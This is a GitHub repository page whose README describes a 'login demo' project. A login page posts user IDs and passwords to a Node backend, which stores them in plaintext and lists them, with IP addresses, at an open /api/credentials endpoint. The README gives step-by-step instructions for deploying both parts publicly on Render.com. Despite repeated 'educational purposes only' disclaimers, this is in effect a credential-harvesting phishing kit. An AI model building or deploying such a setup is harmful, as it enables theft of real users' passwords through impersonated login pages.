Skip to content

SUMEDHFORTES/web_page

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

5 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Login Demo Project - Educational Purpose Only

⚠️ IMPORTANT DISCLAIMER ⚠️

This project is for EDUCATIONAL PURPOSES ONLY. Creating phishing pages or impersonating legitimate services is ILLEGAL and UNETHICAL. This demo is intended to help you learn web development concepts.

Project Structure

├── index.html       # Frontend login page
├── server.js        # Backend server
├── package.json     # Node.js dependencies
└── README.md        # This file

Features

  • Modern, responsive login page design
  • Backend server to store credentials
  • RESTful API endpoints
  • CORS enabled for cross-origin requests
  • File-based storage (can be upgraded to database)

Local Development

Prerequisites

  • Node.js (v14 or higher)
  • npm

Installation

  1. Install dependencies:
npm install
  1. Start the server:
npm start
  1. Server will run on http://localhost:3000

  2. Open index.html in a browser (or serve it separately)

Deploying to Render.com

Step 1: Prepare Your Repository

  1. Create a new GitHub repository
  2. Push all files to the repository:
git init
git add .
git commit -m "Initial commit"
git remote add origin YOUR_GITHUB_REPO_URL
git push -u origin main

Step 2: Deploy Backend on Render

  1. Go to Render.com and sign up/login
  2. Click "New +" → "Web Service"
  3. Connect your GitHub repository
  4. Configure the service:
    • Name: login-demo-backend (or any name)
    • Environment: Node
    • Build Command: npm install
    • Start Command: npm start
    • Instance Type: Free
  5. Click "Create Web Service"
  6. Wait for deployment to complete
  7. Copy your service URL (e.g., https://login-demo-backend.onrender.com)

Step 3: Deploy Frontend on Render

  1. Click "New +" → "Static Site"
  2. Connect your GitHub repository
  3. Configure:
    • Name: login-demo-frontend
    • Build Command: (leave empty)
    • Publish Directory: . (current directory)
  4. Click "Create Static Site"

Step 4: Update Frontend Configuration

  1. Edit index.html
  2. Find this line:
const BACKEND_URL = 'YOUR_RENDER_BACKEND_URL/api/login';
  1. Replace with your actual Render backend URL:
const BACKEND_URL = 'https://your-backend-name.onrender.com/api/login';
  1. Commit and push the changes:
git add index.html
git commit -m "Update backend URL"
git push

API Endpoints

POST /api/login

Store login credentials

Request:

{
  "userId": "user@example.com",
  "password": "password123",
  "timestamp": "2024-01-01T00:00:00.000Z"
}

Response:

{
  "success": true,
  "message": "Login credentials stored successfully",
  "id": 1
}

GET /api/credentials

View all stored credentials (admin)

Response:

{
  "success": true,
  "count": 2,
  "credentials": [
    {
      "id": 1,
      "userId": "user@example.com",
      "password": "password123",
      "timestamp": "2024-01-01T00:00:00.000Z",
      "ip": "127.0.0.1"
    }
  ]
}

DELETE /api/credentials

Clear all stored credentials

Response:

{
  "success": true,
  "message": "All credentials cleared"
}

Testing

  1. Open your frontend URL
  2. Enter test credentials
  3. Check backend URL + /api/credentials to see stored data

Example:

https://your-backend-name.onrender.com/api/credentials

Security Considerations

⚠️ This is a demo and NOT production-ready!

For a real application, you should:

  • Use HTTPS only
  • Hash passwords with bcrypt
  • Use a proper database (PostgreSQL, MongoDB)
  • Implement authentication tokens (JWT)
  • Add rate limiting
  • Validate and sanitize all inputs
  • Use environment variables for sensitive data
  • Implement CSRF protection
  • Add logging and monitoring

Upgrading to Database (Optional)

To use PostgreSQL instead of file storage:

  1. Add dependency:
npm install pg
  1. Create database on Render:

    • Go to Render Dashboard
    • Click "New +" → "PostgreSQL"
    • Copy the connection string
  2. Update server.js to use PostgreSQL instead of file storage

Legal Notice

IMPORTANT: This project is for educational purposes only. Using this to:

  • Impersonate legitimate websites
  • Steal credentials
  • Phish users
  • Any malicious activity

is ILLEGAL and can result in serious criminal charges. Always use your programming skills ethically and responsibly.

License

MIT License - For Educational Use Only

Support

This is a demo project. Use at your own risk.

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors